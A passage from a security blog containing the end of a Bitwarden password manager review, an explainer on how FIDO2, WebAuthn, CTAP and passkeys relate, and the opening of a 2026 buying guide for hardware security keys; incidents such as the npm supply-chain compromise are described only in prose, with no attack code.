settings. Since release 2023.2.0 in February 2023, new accounts derive that key with PBKDF2-SHA256 at 600,000 iterations, matching the OWASP recommendation published the previous month. Argon2id is available on the same screen: 32 MiB of memory, 6 iterations, 4 threads by default, read in August 2026. Argon2id is memory-hard, which is what defeats the GPU and ASIC farms that make PBKDF2 cracking cheap at scale. It is not the default, because PBKDF2 is the safer compatibility choice across every client Bitwarden ships. If you want the mechanism rather than the summary, [password hashing compared](/password-hashing-bcrypt-scrypt-argon2) covers why memory-hardness matters, and [how passwords get cracked](/password-cracking-techniques) covers what the attacker on the other side of a stolen vault is actually doing. **What it costs.** Free covers unlimited passwords across unlimited devices, passkey storage, and two-step login with an authenticator app, email, or a FIDO2 hardware key. Premium is USD 19.80 a year as of August 2026 and adds integrated TOTP, file attachments, emergency access, vault health reports, and YubiKey OTP and Duo as extra two-step methods. Families is USD 47.88 a year for six accounts. Teams and Enterprise are USD 4 and USD 6 per user per month on annual billing. The free tier is the most generous in the category and it is not a trial. That has been true for a decade and it is the single strongest argument for the product. ## The uncomfortable part ### The KDF default took three years to reach old vaults February 2023: the default for new accounts went from 100,000 PBKDF2 iterations to 600,000. Accounts that already existed kept the count they were created with. The oldest were made when the default was as low as 5,000. That is the LastPass shape. When attackers exfiltrated LastPass vaults in 2022, the vaults that fell were the ones stuck on legacy iteration counts, because their owners had no idea a number they never chose had been silently left behind. Bitwarden shipped the same structural gap, minus the breach: a user who joined in 2019, did nothing wrong, and never opened Settings, Security, Keys was sitting on a weaker vault than a user who joined in 2024. It closed on 4 March 2026. Release 2026.2.1 raised the *minimum* to 600,000, prompts any account below it, and applies the increase automatically the next time you unlock or log in with your master password. That is the right fix. It arrived three years and one month after the default changed, and for the whole of that window the recommendation "Bitwarden defaults to 600,000 iterations" was true of new accounts and false of a large number of real ones. **Check yours now.** Web vault, Settings, Security, Keys. If the number is 600,000 or you are on Argon2id, you are current. ### A compromised GitHub Action put malware on npm On 22 April 2026, between 5:57pm and 7:30pm US Eastern, npm served a malicious build of `@bitwarden/cli` version 2026.4.0. Attackers had compromised a GitHub Action inside Bitwarden's CI/CD pipeline, part of a wider campaign that also hit Checkmarx, and injected a payload during the package build. The payload harvested npm tokens, GitHub tokens, SSH keys and AWS, Azure and Google Cloud credentials, exfiltrated them by creating public repositories under the victims' own accounts, and carried code to propagate into other packages. Bitwarden revoked access, deprecated the release, and reported no evidence that end-user vault data, production data or production systems were affected. Two honest readings sit side by side. Vault security held: this was the distribution channel for a developer tool, and nobody using the browser extension, mobile app or desktop app was ever in the blast radius. And the pipeline that signs and ships the software you trust with every password you own was compromised for an hour and a half. If you installed that version, treat the machine's credentials as burned and rotate them. Everyone else can read it as the category's real threat model now: [supply-chain compromise](/kaseya-vsa-attack-explained) is where mature software gets hit, and [code signing](/code-signing-explained) is the control that is supposed to catch it. ### Autofill in iframes was known for four years before it was fixed In early 2023 Flashpoint published research showing Bitwarden's browser extension would autofill credentials into an embedded iframe served from a different domain, so a page that embedded a hostile frame could collect a login. Bitwarden had received the report in 2018 and accepted the behaviour, because legitimate sites put login forms in iframes. The fix restricted autofill on page load to trusted domains and added a warning for manual fills into untrusted frames. Autofill on page load is off by default, which is why the practical exposure was narrower than the coverage suggested. The disclosure timeline is still the point: a known credential-exposure path stayed open for four years because closing it would break some sites. ### The price doubled, in a post about features On 21 January 2026, Premium went from USD 9.99 a year to USD 19.80 and Families from USD 40 to USD 47.88. It was the first increase in ten years and it is still defensible against every rival on this list. The announcement led with vault health alerts, password coaching, five times the attachment storage and a phishing blocker, and the price sat further down. Renewal notices quote USD 1.65 a month rather than the annual figure that actually leaves your account, and existing subscribers get 15 days' warning before renewal. Bitwarden built its reputation on being the one that does not do this. ### It is a US company with institutional capital Bitwarden Inc. is private, based in Santa Barbara, California, and took a USD 100 million growth investment led by PSG in September 2022, with Battery Ventures participating. PSG holds a minority position and board seats. That does not weaken the cryptography, which is why the zero-knowledge design matters: US jurisdiction cannot compel plaintext a company does not hold. What it does mean is that a generous free tier is a business decision that gets revisited, and January 2026 was the first sign of the revisiting. The exit is unusually easy here, which is the mitigation: export your vault, or run [Vaultwarden](https://github.com/dani-garcia/vaultwarden) yourself. ### The 2024 licence scare, which resolved In October 2024 a new `sdk-internal` dependency appeared in the clients under a licence saying you could not use the SDK to build applications for anything other than Bitwarden, which for a GPL project is a contradiction. Bitwarden called it a packaging problem and, by November 2024, moved the client SDK to unmodified GPL3 while the Secrets Manager SDK kept the proprietary licence under a renamed repository. The clients are buildable from OSI-licensed code again. It is in this list because it took public pressure to get there. ## How it compares | | Bitwarden | 1Password | Proton Pass | KeePassXC | |---|---|---|---|---| | Open source | Clients and server | No | Clients | Yes | | Free tier | Unlimited passwords and devices | None (trial only) | Unlimited, with passkeys | Entirely free | | Default KDF | PBKDF2 600,000, Argon2id optional | PBKDF2 + Secret Key | Argon2 | Argon2 | | Extra local factor | No | Secret Key | No | The file itself | | Self-host | Official server or Vaultwarden | No | No | Not applicable | | Hardware key on free tier | Yes (FIDO2) | No free tier | Yes | Local, no account | | Price (Aug 2026) | USD 19.80/yr | USD 47.88/yr | Bundled with Proton | Free | 1Password's Secret Key is the one architectural feature Bitwarden lacks: a 34-character value held only on your devices and mixed into key derivation, so a stolen server-side vault cannot be attacked with the master password alone. Bitwarden's answer is that you can raise your own KDF or self-host. Both are defensible; 1Password's protects users who chose a weak master password, and Bitwarden's requires you to act. ## Who should use it **Most people, on the free tier.** Unlimited passwords, unlimited devices, passkeys, and a hardware key for two-step login costs nothing. Set a diceware passphrase as your master password, register a security key, and stop. **Anyone who wants to verify rather than trust.** Both the clients and the server are open source, the audits are published, and you can build the thing yourself. Nothing else in the mainstream offers all three. **People who will actually self-host.** Vaultwarden on a machine you own removes the vendor from your threat model entirely, and replaces it with your own backup discipline. If that sentence sounds like a chore rather than a weekend, stay on the hosted service. **Not for you if** you want a second locally-held factor baked into key derivation (1Password), or you want no server in the picture at all (KeePassXC), or your household is already paying for Proton, in which case Proton Pass is included and good enough that a second subscription is hard to justify. ## Verdict **4.5 / 5.** Bitwarden remains the password manager to beat, and the reason is unchanged: you can read the code, the audits are real, the free tier is not a trap, and no customer vault has ever been breached. Set a strong master password, check that your KDF reads 600,000 or Argon2id, register a hardware key, and the residual risk is small. The half point comes off for the three-year gap between a good default and the vaults that needed it, and for a build pipeline that shipped credential-stealing malware to npm in April 2026. Both are the same category of failure, which is worth naming plainly: the cryptography is finished work, and the operational path between the code and your device is where password managers get compromised now. For the ranked comparison, read [the password manager roundup](/best-password-managers). For the setup that makes any of this worthwhile, read [the password manager guide](/password-managers-guide) and [two-factor authentication](/two-factor-authentication-guide). ### Sources - Encryption Key Derivation (KDF algorithms) (Bitwarden): https://bitwarden.com/help/kdf-algorithms/ - 2026.2.1 Release Notes (Bitwarden Community): https://community.bitwarden.com/t/2026-2-1-release-notes/94494 - Bitwarden Password Manager Pricing (Bitwarden): https://bitwarden.com/pricing/ - Bitwarden CLI npm package compromised to steal developer credentials (BleepingComputer): https://www.bleepingcomputer.com/news/security/bitwarden-cli-npm-package-compromised-to-steal-developer-credentials/ - Bitwarden: The Curious (Use-)Case of Password Pilfering (Flashpoint): https://flashpoint.io/blog/bitwarden-password-pilfering/ - Bitwarden switches password manager and SDK to GPL3 (The Register): https://www.theregister.com/software/2024/11/04/bitwarden-switches-password-manager-and-sdk-to-gpl3/576351 - Bitwarden Announces $100 Million Growth Investment Led by PSG (PSG): https://psgequity.com/news/bitwarden-announces-100-million-growth-investment-led-by-psg - Set up two-step login (Bitwarden): https://bitwarden.com/help/setup-two-step-login/ - Auto-fill in the browser extension (Bitwarden): https://bitwarden.com/help/auto-fill-browser/ - vaultwarden: unofficial Bitwarden compatible server written in Rust (GitHub): https://github.com/dani-garcia/vaultwarden --- ## FIDO2 vs WebAuthn vs Passkeys: What Each Name Means > Three names, one stack. FIDO2 is the umbrella, WebAuthn is the browser API, CTAP is the protocol to the authenticator, and a passkey is a credential type. What each actually refers to. - URL: https://blog.pwnsy.com/fido2-vs-webauthn-vs-passkeys - Date: 2026-08-25 - Updated: 2026-08-25 - Difficulty: beginner - Category: passwords - Tags: fido2, webauthn, passkeys, comparison, authentication - Related: [The Next 10 Years of Cybersecurity: A Forecast to 2036](https://blog.pwnsy.com/cybersecurity-next-10-years), [AitM Phishing Explained: How Reverse-Proxy Kits Bypass MFA](https://blog.pwnsy.com/aitm-phishing-explained), [Credential Stuffing Explained: How Reused Passwords Get Exploited](https://blog.pwnsy.com/credential-stuffing-explained) ### TL;DR - These are not competing options. FIDO2 is the umbrella specification, WebAuthn is the browser API inside it, CTAP is how the browser talks to an authenticator, and a passkey is a credential created through that stack. - WebAuthn is the W3C standard your website calls. CTAP2 is the FIDO Alliance protocol between the client and an external authenticator such as a security key. - A passkey is a discoverable credential: the authenticator stores enough to present it without the site naming it first, which is what allows sign-in with no username. - The distinction that matters operationally is synced versus device-bound, because it decides your recovery story and whether the credential can leave a device. ### Key Takeaways - If you are building: you implement WebAuthn. FIDO2 is the family the standard belongs to, and CTAP is handled for you by the browser and platform. - Every passkey is a WebAuthn credential. Not every WebAuthn credential is a passkey, because the original model let the server supply the credential ID rather than the authenticator discovering it. - Synced passkeys live in a provider's keychain and survive a lost device. Device-bound passkeys never leave the hardware and do not survive it. - All of them are phishing-resistant for the same reason: the signature is bound to the origin, so a lookalike domain cannot produce a usable assertion. - For regulated or high-assurance use, device-bound credentials on a hardware key give an attestable guarantee that a synced credential cannot. - Register two authenticators. The failure mode people actually hit is losing their only one. ### FAQ **Q: What is the difference between FIDO2 and WebAuthn?** FIDO2 is the overall specification set from the FIDO Alliance and W3C. It has two components: WebAuthn, the W3C standard defining the JavaScript API a website uses to create and verify credentials, and CTAP, the Client to Authenticator Protocol defining how a browser or operating system talks to an external authenticator such as a USB security key. When someone says a site supports FIDO2, they mean it implements WebAuthn and works with authenticators speaking CTAP. **Q: Is a passkey the same as a WebAuthn credential?** A passkey is a WebAuthn credential that is discoverable, meaning the authenticator stores the credential and its associated user handle so it can offer it without the server providing a credential ID first. That is what enables usernameless sign-in. Earlier WebAuthn deployments often used non-discoverable credentials, where the server sends a list of credential IDs and the authenticator finds the matching key, which requires the user to identify themselves first. **Q: What is the difference between a synced passkey and a device-bound one?** A synced passkey is stored in a credential manager, typically the platform's keychain or a password manager, and replicates across that account's devices. Lose a phone and the passkey is on the replacement. A device-bound passkey exists only on the hardware that created it, usually a security key, and cannot be exported. Device-bound gives a stronger guarantee about where the key is; synced gives a workable recovery story. **Q: Do passkeys replace security keys?** They overlap. A hardware security key holds device-bound passkeys and is the right choice for administrators, high-value accounts and regulated environments where you must be able to attest that the credential cannot leave the hardware. Synced passkeys on a phone or laptop are the right default for ordinary users, because the recovery story is what determines whether people adopt them at all. **Q: Why are all of these phishing-resistant?** Because the signature covers the origin. The authenticator will only produce an assertion for the domain the credential was registered to, and the browser supplies that domain rather than the page. A convincing lookalike site cannot obtain a usable signature, because the credential for the real site simply does not respond to the fake one. That property holds for every credential in this family regardless of what you call it. **Q: What should I actually implement?** WebAuthn, through a well-maintained library for your stack. Support discoverable credentials so passkeys work, allow multiple credentials per account, and do not remove your recovery path before adoption is high. If you serve regulated or administrative users, additionally support attestation so you can require device-bound authenticators for those accounts. People ask which of these to use as though they were alternatives. They are layers of one stack plus a name for the credential that comes out of it. Scope: [WebAuthn Explained](/webauthn-explained) owns the API and the ceremony in detail, [Passkeys Explained](/passkeys-explained) owns adoption and user experience, and [Best Hardware Security Keys](/best-hardware-security-keys) owns the devices. This page owns the terminology, because the terminology is what the question is actually about. ## The stack | Name | What it is | Who defines it | You interact with it by | |---|---|---|---| | FIDO2 | The umbrella specification set | FIDO Alliance and W3C | Saying "we support FIDO2" | | WebAuthn | The browser API for creating and using credentials | W3C | Calling it from your web application | | CTAP2 | The protocol between client and external authenticator | FIDO Alliance | Nothing, the platform handles it | | Passkey | A discoverable credential created through the above | FIDO Alliance branding | Registering and signing in | Read down that table and the confusion resolves. A developer implements **WebAuthn**. The browser uses **CTAP2** to reach a security key, or an internal platform interface to reach the phone's secure element. Both sit inside **FIDO2**. What the user ends up with is a **passkey**. ## What WebAuthn does Two ceremonies. **Registration.** The site asks for a new credential. The authenticator generates a key pair, keeps the private key, and returns the public key with a credential ID. The site stores those against the account. **Authentication.** The site sends a challenge. The authenticator signs it with the private key, after whatever user verification is configured, and returns the signature. The site verifies it against the stored public key. The security property that matters is in the details of what gets signed: the assertion is bound to the origin the credential was registered to. The browser supplies that origin, not the page. A phishing site on a lookalike domain cannot get the authenticator to produce anything it can use, because as far as the authenticator is concerned no credential exists for that origin. That is why every credential in this family is phishing-resistant, and it is a structural property rather than a matter of user vigilance. ## What CTAP is for WebAuthn stops at the browser. Something has to carry the request to a security key over USB, NFC or Bluetooth, and that is CTAP. For most people building things, CTAP is invisible: browsers and operating systems implement it. It matters when you are choosing hardware, because CTAP2 support is what makes a key a FIDO2 key rather than a legacy U2F device, and it is what enables discoverable credentials and PIN-based user verification. ## What makes a passkey a passkey The technical distinction is **discoverability**. In the original model, credentials were non-discoverable. The server sent a list of credential IDs, the authenticator matched one and signed. That works and it requires the user to identify themselves first, because the server has to know which IDs to send. A discoverable credential stores enough on the authenticator, including a user handle, that it can be offered without the server naming it. That is what allows the sign-in flow with no username: the authenticator presents the accounts it holds for that site and the user picks one. Passkey is the name the industry settled on for that credential, and it was chosen for users rather than for engineers. It is not a new protocol. ## Synced versus device-bound This is the distinction with real operational consequences, and it is where most decisions actually land. | | Synced passkey | Device-bound passkey | |---|---|---| | Stored in | Platform keychain or password manager | The authenticator's secure element | | Survives losing the device | Yes, restores to a new one | No | | Can be exported | Within the provider's ecosystem | No | | Recovery depends on | The provider account, and its own security | Your backup authenticator | | Attestable | Limited | Yes, you can require specific hardware | | Right for | Ordinary users, consumer accounts | Administrators, regulated and high-assurance accounts | The trade is legible. Synced credentials make the credential as strong as the account that syncs it, and they solve the problem that stops people adopting anything: what happens when the phone goes in the river. Device-bound credentials give you a real guarantee about where the private key is and cannot be recovered when the hardware is gone. For a high-value account, that lack of recovery is the feature. For a consumer, it is the reason they never enrol. ## What to do **If you are implementing:** - Implement WebAuthn with a maintained library. Do not write the verification yourself. - Support discoverable credentials so passkeys work as users expect. - Allow several credentials per account, and prompt for a second at registration. - Keep a recovery path until adoption is high, and make that path at least as strong as the credential it recovers, since it becomes the weakest link. - If you have administrative or regulated users, support attestation so you can require device-bound authenticators for them. **If you are choosing for yourself:** - Synced passkeys for everyday accounts, in whichever ecosystem you already trust with your credentials. - A hardware key with device-bound credentials for email, your password manager, financial accounts and anything administrative. - Two hardware keys, one kept elsewhere. The failure people actually experience is losing their only authenticator. ## The verdict There is no choice to make between FIDO2, WebAuthn and passkeys, because they are not the same kind of thing. FIDO2 is the family, WebAuthn is what you implement, CTAP is how the hardware is reached, and a passkey is what the user ends up holding. The decision that does exist is synced against device-bound, and it turns on one question: what happens when the device is lost. Answer that per account and the rest of the terminology stops mattering. ## Related guides - [WebAuthn Explained](/webauthn-explained) - [Passkeys Explained](/passkeys-explained) - [Best Hardware Security Keys](/best-hardware-security-keys) - [Two-Factor Authentication Guide](/two-factor-authentication-guide) - [Password Managers Guide](/password-managers-guide) ### Sources - Web Authentication: An API for accessing Public Key Credentials (W3C): https://www.w3.org/TR/webauthn-3/ - Client to Authenticator Protocol (CTAP) (FIDO Alliance): https://fidoalliance.org/specs/fido-v2.1-ps-20210615/fido-client-to-authenticator-protocol-v2.1-ps-20210615.html - Passkeys overview (FIDO Alliance): https://fidoalliance.org/passkeys/ - NIST SP 800-63B: Digital Identity Guidelines, Authentication and Lifecycle Management (NIST): https://pages.nist.gov/800-63-3/sp800-63b.html - passkeys.dev (FIDO Alliance and W3C community): https://passkeys.dev/ --- ## Best Hardware Security Keys (FIDO2) in 2026 > Ranking of FIDO2 security keys, YubiKey 5, Bio, Google Titan, Token2, Nitrokey, Thetis. Phishing-resistant 2FA and passkeys, tested. - URL: https://blog.pwnsy.com/best-hardware-security-keys - Date: 2026-06-19 - Updated: 2026-06-19 - Difficulty: intermediate - Category: passwords - Tags: passwords, security-key, fido2, passkeys, two-factor-authentication, buying-guide - Related: [The Next 10 Years of Cybersecurity: A Forecast to 2036](https://blog.pwnsy.com/cybersecurity-next-10-years), [Best Cybersecurity Certifications & Courses in 2026](https://blog.pwnsy.com/best-cybersecurity-certifications), [AitM Phishing Explained: How Reverse-Proxy Kits Bypass MFA](https://blog.pwnsy.com/aitm-phishing-explained) ### TL;DR - Best overall: YubiKey 5C NFC (~$58), USB-C plus NFC, multi-protocol (FIDO2/WebAuthn, U2F, PIV, OpenPGP, OATH), and the deepest service support of any key. - Best value: Google Titan ($30 USB-A / $35 USB-C, NFC) or Thetis PRO-C (~$30), real FIDO2 phishing resistance and 200-250 passkey slots for under a third of a YubiKey's price. - Best for biometrics: YubiKey Bio FIDO Edition (~$98), fingerprint replaces the PIN, but it is FIDO-only and the most expensive option here. - Best open-source: Nitrokey 3C NFC (~$59 / €65), auditable Rust firmware, EAL6+ secure element, made in Germany; Token2 PIN+ is the storage champion at up to 300 passkeys. - Buy two keys, always. A hardware key with no registered backup is a single point of failure that can lock you out of your own accounts permanently. ### Key Takeaways - A FIDO2/WebAuthn security key is the only widely available second factor that is phishing-resistant by design: the credential is cryptographically bound to the real site's origin, so a lookalike domain cannot harvest or replay it. - Passkeys (discoverable credentials) let a key log you in without a username or password; storage is finite: the Nitrokey 3C NFC holds ~35, YubiKey 5 up to 100, Thetis ~200, Google Titan 250+, and Token2 PIN+ reaches ~300. - Connector type is the real buying decision: match USB-C, USB-A, NFC, or Lightning to the devices you actually use, and prefer NFC for phones. - YubiKey 5 Series keys are multi-protocol (FIDO2, U2F, PIV smart card, OpenPGP, OATH-TOTP/HOTP, static OTP); cheaper rivals and the YubiKey Bio FIDO Edition are FIDO-only, which is fine for most people. - Registering a single key is dangerous. Enroll at least two keys on every account and store the backup somewhere separate, because a lost-and-unregistered key can mean permanent lockout. - Open-source firmware (Nitrokey, Token2) lets the security claims be verified rather than trusted; closed designs (YubiKey, Titan, Thetis) compensate with certifications and track record. ### FAQ **Q: What is the best hardware security key in 2026?** For most people it is the YubiKey 5C NFC, around $58. It combines USB-C and NFC in one device, supports every major protocol (FIDO2/WebAuthn, FIDO U2F, PIV smart card, OpenPGP, and OATH one-time passwords), and has the broadest service compatibility of any key on the market. If price is the priority, the Google Titan ($30-$35) and Thetis PRO-C (about $30) deliver the same core FIDO2 phishing resistance for far less. Whatever you choose, buy two. **Q: What is the difference between FIDO2, WebAuthn, and U2F?** U2F (FIDO Universal 2nd Factor) is the original standard: the key acts purely as a second factor after a password. FIDO2 is the successor and has two parts, WebAuthn (the browser/web API that websites call) and CTAP (the protocol between the browser and the key). FIDO2 adds passwordless and passkey support on top of everything U2F did. In practice, a FIDO2 key is backward-compatible with U2F sites, so buying FIDO2 covers both. **Q: What is a passkey and can a hardware key store one?** A passkey is a FIDO2 discoverable credential: a resident credential stored on the key itself, including enough metadata to log you in without typing a username or password. Hardware keys can store a limited number: YubiKey 5 Series holds up to 100 on firmware 5.7+ (up from 25 before), Google Titan holds 250+, Thetis PRO-C 200, the Nitrokey 3C NFC only about 35, and Token2 PIN+ Release2/3 tops out near 300. When the slots are full you must delete an old passkey to add a new one. **Q: Why are hardware keys phishing-resistant when authenticator apps are not?** A FIDO2 credential is cryptographically bound to the origin (the exact domain) it was created for. When you authenticate, the browser sends the real origin to the key, and the key will only sign for a matching origin. A phishing site on a lookalike domain gets no valid signature, and there is no code to read aloud or paste. A TOTP authenticator app, by contrast, just shows a 6-digit code that a convincing fake site can ask you to type, and then replay. **Q: Do I really need to buy two security keys?** Yes. A hardware key is a physical object that can be lost, stolen, or damaged. If it is the only factor registered on an account and it disappears, you may be locked out permanently, because account-recovery flows are exactly the weak link these keys exist to remove. Register at least two keys on every important account and keep the backup in a separate location, such as a safe or a different building. **Q: Are cheap security keys as secure as a YubiKey?** For the core job (phishing-resistant FIDO2/WebAuthn login) a $30 Google Titan or Thetis key is cryptographically just as strong as a $58 YubiKey. The price difference buys breadth of protocols (PIV, OpenPGP, OATH), firmware maturity, certifications, build quality, and a longer track record. If you only need FIDO2 and U2F, a budget key is a legitimate choice; if you also want smart-card login or PGP, you are paying for the YubiKey. **Q: Should I get an open-source security key?** If verifiable firmware matters to your threat model, yes. Nitrokey and Token2 publish open-source firmware so independent reviewers can confirm the device does what it claims and contains no backdoor. Closed designs like YubiKey rely on certifications (FIPS, Common Criteria) and reputation instead. Both approaches can be secure; open source simply lets you check rather than trust. **Q: Can I use one security key on my phone?** Yes, through NFC, USB-C, or (on older iPhones) Lightning. For phones, NFC is the most convenient: you tap the key to the back of the device. The YubiKey 5C NFC, 5 NFC, Google Titan, Nitrokey 3C NFC, and Thetis PRO-C all support NFC. The YubiKey 5Ci is the niche option with both Lightning and USB-C in one body for people still on Lightning iPhones and USB-C laptops. Most second factors are theater. SMS codes are interceptable, authenticator-app TOTP codes can be phished and replayed in real time, and push prompts get fatigued into approval. A FIDO2 hardware security key is the one widely available second factor that is phishing-resistant *by design*: the credential is cryptographically bound to the real site's origin, so a lookalike domain gets nothing it can use. That is the whole reason to spend money on a physical key. This is a buying guide, not a primer. If you need the conceptual background first (what 2FA is, how the factors compare, where to turn it on) read [how to set up 2FA properly](/two-factor-authentication-guide). Here we assume you already know you want a key and need to pick the right one, register a backup, and not lock yourself out doing it. ## The Verdict - **Best overall: [YubiKey 5C NFC](/ref/yubikey) (~$58).** USB-C plus NFC in one device, every major protocol (FIDO2/WebAuthn, U2F, PIV, OpenPGP, OATH), and the widest service compatibility on the market. The default answer for most people who don't have a reason to choose otherwise. - **Best value: [Google Titan](/ref/google-titan) ($30-$35) or [Thetis PRO-C](/ref/thetis) (~$30).** The same phishing-resistant FIDO2 core as a YubiKey, with generous passkey storage, for roughly half the price. - **Best for biometrics: [YubiKey Bio FIDO Edition](/ref/yubikey) (~$98).** A fingerprint replaces the PIN for user verification. Convenient and passwordless-friendly, but FIDO-only and the priciest key here. - **Best open-source: [Nitrokey 3C NFC](/ref/nitrokey) (~$59 / €65).** Auditable Rust firmware and an EAL6+ secure element, made in Germany, but note its passkey storage is small (~35) and it is often out of stock. For storage maximalists, [Token2](/ref/token2) PIN+ holds up to 300 passkeys for around €20-27. ## At a Glance | Key | Price (from) | Connectors | NFC | Passkey storage | Best for | | --- | --- | --- | --- | --- | --- | | [YubiKey 5C NFC](/ref/yubikey) | ~$58 | USB-C | Yes | ~100 | Most people; broadest support | | [YubiKey 5 NFC](/ref/yubikey) | ~$58 | USB-A | Yes | ~100 | USB-A machines + phone | | [YubiKey 5C](/ref/yubikey) | ~$65 | USB-C | No | ~100 | USB-C only, no tap-to-phone | | [YubiKey 5Ci](/ref/yubikey) | ~$85 | Lightning + USB-C | No | ~100 | Lightning iPhone + USB-C | | [YubiKey Bio FIDO](/ref/yubikey) | ~$98 | USB-A or USB-C | No | ~100 | Biometric verification | | [Google Titan](/ref/google-titan) | $30 / $35 | USB-A or USB-C | Yes | 250+ | Value + high passkey count | | [Token2 PIN+](/ref/token2) | ~€20-27* | USB-C / USB-A / dual | Some models | ~300 | Most passkeys; open | | [Nitrokey 3C NFC](/ref/nitrokey) | ~$59 / €65 | USB-C | Yes | ~35** | Open-source firmware | | [Thetis PRO-C](/ref/thetis) | $29.99 | USB-C | Yes | 200 | Budget FIDO2 + NFC | \* Token2 is priced in euros (€18-37 across the range; PIN+ Release3 models €20-26.50, biometric €37), roughly $20-40 depending on model and exchange rate; confirm on the store. \*\* Nitrokey's resident-credential count is small: the 3C NFC stores about 35 passkeys (firmware v1.8.2 replaced the fixed cap with dynamic allocation). Do not buy it for high-volume passkey use. A hardware key with no registered backup is a single point of failure. If you enroll one key on an account and then lose it, you may be locked out permanently, recovery flows are exactly the weak link these keys exist to eliminate. Never register just one key. Read the setup section below before you enroll anything. ## What "FIDO2," "WebAuthn," and "passkey" actually mean Three terms get muddled, so pin them down before spending money. - **FIDO U2F** is the original second-factor standard: after your password, you touch the key to prove possession. Simple and phishing-resistant, but always a *second* step. - **FIDO2** is the successor and has two halves: **WebAuthn** (the web API a site calls in your browser) and **CTAP** (the protocol between browser and key). FIDO2 keeps everything U2F did and adds **passwordless** login. Every FIDO2 key in this guide is backward-compatible with U2F sites. - **Passkeys** are FIDO2 *discoverable* (resident) credentials: the key stores enough information to log you in with no username and no password, just the key plus a PIN or fingerprint. This is convenient but consumes finite on-key storage. When the slots fill up, you must delete an old passkey to add a new one. Non-discoverable credentials (the classic second factor) are effectively unlimited because the secret is derived per-site rather than stored. The phishing resistance comes from origin binding: the browser tells the key which domain is asking, and the key only signs for the exact origin the credential was created for. A fake `paypa1.com` cannot coax out a signature meant for `paypal.com`, and there is no code to read aloud or paste. That single property is why these keys beat TOTP apps and SMS. ## 1. YubiKey 5C NFC: Best Overall **Protocols.** The full multi-protocol stack: FIDO2/WebAuthn, FIDO U2F, PIV (smart card), OpenPGP, OATH-TOTP/HOTP, and Yubico OTP. On firmware 5.7 and later it holds up to 100 passkeys (discoverable credentials), a 4x jump from the 25-credential ceiling on earlier firmware; it also bumped OATH to 64 seeds and gained CTAP 2.1 with minimum-PIN-length and force-PIN-change. Firmware is fixed at manufacture, so capacity depends on which firmware shipped on the key you buy. **Strengths.** One key covers USB-C laptops and, via NFC, your phone, tap and go. Compatibility is the real moat: if a service supports security keys at all, it supports a YubiKey. Build quality is excellent, there are no batteries or moving parts, and the firmware track record is long. **Real weaknesses.** Cost. At around $58 it is roughly double a Google Titan or Thetis, and you need two. Passkey storage (~100) is lower than the Titan's 250+ or Token2's ~300. And the firmware is closed source: you trust Yubico's certifications rather than reading the code. **Price.** ~$58. **Who it's for.** Almost everyone. If you want one recommendation and don't have a specific reason to deviate, buy two [YubiKeys](/ref/yubikey). ## 2. YubiKey 5 NFC: Same Key, USB-A Functionally identical to the 5C NFC but with a USB-A plug instead of USB-C, also ~$58. The right choice if your desktops and laptops still use USB-A while your phone needs NFC. Same multi-protocol support, same ~100 passkey ceiling, same closed firmware. Many people buy one 5C NFC and one 5 NFC as a pair so the backup fits whatever port the primary doesn't. ## 3. YubiKey 5C: USB-C, No NFC Full YubiKey 5 multi-protocol support over USB-C, but **no NFC**, and at a ~$65 list price it actually costs *more* than the 5C NFC. There is almost no reason to choose it over the 5C NFC unless you specifically want a key that cannot do contactless. We mention it mainly so you don't buy it by mistake expecting NFC. ## 4. YubiKey 5Ci: Lightning + USB-C The 5Ci is the oddity with **both Lightning and USB-C** in a single body, at ~$85. For years it was the answer for people running a Lightning iPhone and a USB-C laptop. With Apple having moved iPhones to USB-C, its relevance is shrinking, and NFC already covers most phone use. Multi-protocol like the rest of the 5 Series. Buy it only if you genuinely still depend on a Lightning port; otherwise a 5C NFC and an NFC tap do the job for less. ## 5. YubiKey Bio (FIDO Edition): Best for Biometrics **Protocols.** FIDO2/WebAuthn and FIDO U2F only: this is a FIDO-only key. It does **not** do PIV, OpenPGP, or OATH. Available in USB-A and USB-C bodies. **Strengths.** An onboard fingerprint sensor replaces the PIN for user verification. For passwordless and passkey login this is genuinely pleasant: touch instead of type. The biometric template never leaves the key, and it inherits the YubiKey build quality and ecosystem. **Real weaknesses.** Price first, around $98 makes it the most expensive key here, and you still need a backup. FIDO-only means it cannot do the smart-card or PGP tricks of the 5 Series. If you lose or damage it, fingerprint convenience does nothing to help you recover; you fall back on your other registered key, which you'd better have. **Price.** ~$98. **Who it's for.** People who specifically want biometric verification and are happy to pay for it. Browse the [YubiKey](/ref/yubikey) Bio range. ## 6. Google Titan Security Key: Best Value with Capacity **Protocols.** FIDO2/WebAuthn and U2F, built on FIDO open standards. Available as USB-A/NFC ($30) and USB-C/NFC ($35). Stores 250+ passkeys, well beyond most YubiKeys. Google's own firmware verifies the key's integrity at boot. **Strengths.** The value leader for high-volume passkey users. Cryptographically the FIDO2 protection is exactly as strong as a key three times the price, and the generous storage means you can register passkeys across many services without juggling slots. NFC is built in. **Real weaknesses.** FIDO-only (no smart card, no PGP). Sold through the Google Store in only about ten countries, at last check Austria, Canada, France, Germany, Italy, Japan, Spain, Switzerland, the UK, and the US, which complicates buying outside supported regions. It is a single-purpose phishing-resistant key, not a Swiss-army device. **Price.** $30 (USB-A/NFC) / $35 (USB-C/NFC). **Who it's for.** Value seekers and anyone planning to live on passkeys across many accounts. See [Google Titan](/ref/google-titan). ## 7. Token2: Most Passkeys, Open and Inexpensive **Protocols.** FIDO2 (up to FIDO2.1), U2F, and on PIN+ Release3 models optional PIV, OpenPGP, and OTP. The headline is storage: PIN+ Release2 and Release3 keys hold up to **300 passkeys**, the largest capacity in this guide, and FIDO2.1 lets you enumerate and delete them individually. Variants include USB-C, USB-A, dual-USB, and NFC. **Strengths.** Token2 (a Swiss vendor) ships some of the most affordable keys with the most storage, plus firmware-level PIN complexity enforcement and an open, technically transparent approach. If you want the most passkey slots per dollar, this is it. **Real weaknesses.** The product matrix is sprawling and the names are cryptic (T2F2, PIN+, Release3, Dual, Octo), which makes choosing harder than picking a single YubiKey. Documentation and ordering assume a technical buyer. Pricing varies by model and currency, so verify before checkout. **Price.** Sold in euros: the basic T2F2-mini is €18, PIN+ Release3 models run €20-26.50 (e.g. PIN+ Release3.3 TypeC €23, PIN+ Mini-C €20, PIN+ Dual €26), and the biometric PIN+Bio3 is €37, roughly $20-40 depending on model and exchange rate. Confirm the exact model and currency at checkout. **Who it's for.** Hands-on users who want maximum passkey storage and don't mind navigating options. Explore [Token2](/ref/token2). ## 8. Nitrokey 3C NFC: Best Open-Source **Protocols.** FIDO2/WebAuthn, U2F, plus OpenPGP, PIV, and OTP. USB-C and NFC. Built on **open-source firmware written in Rust**, 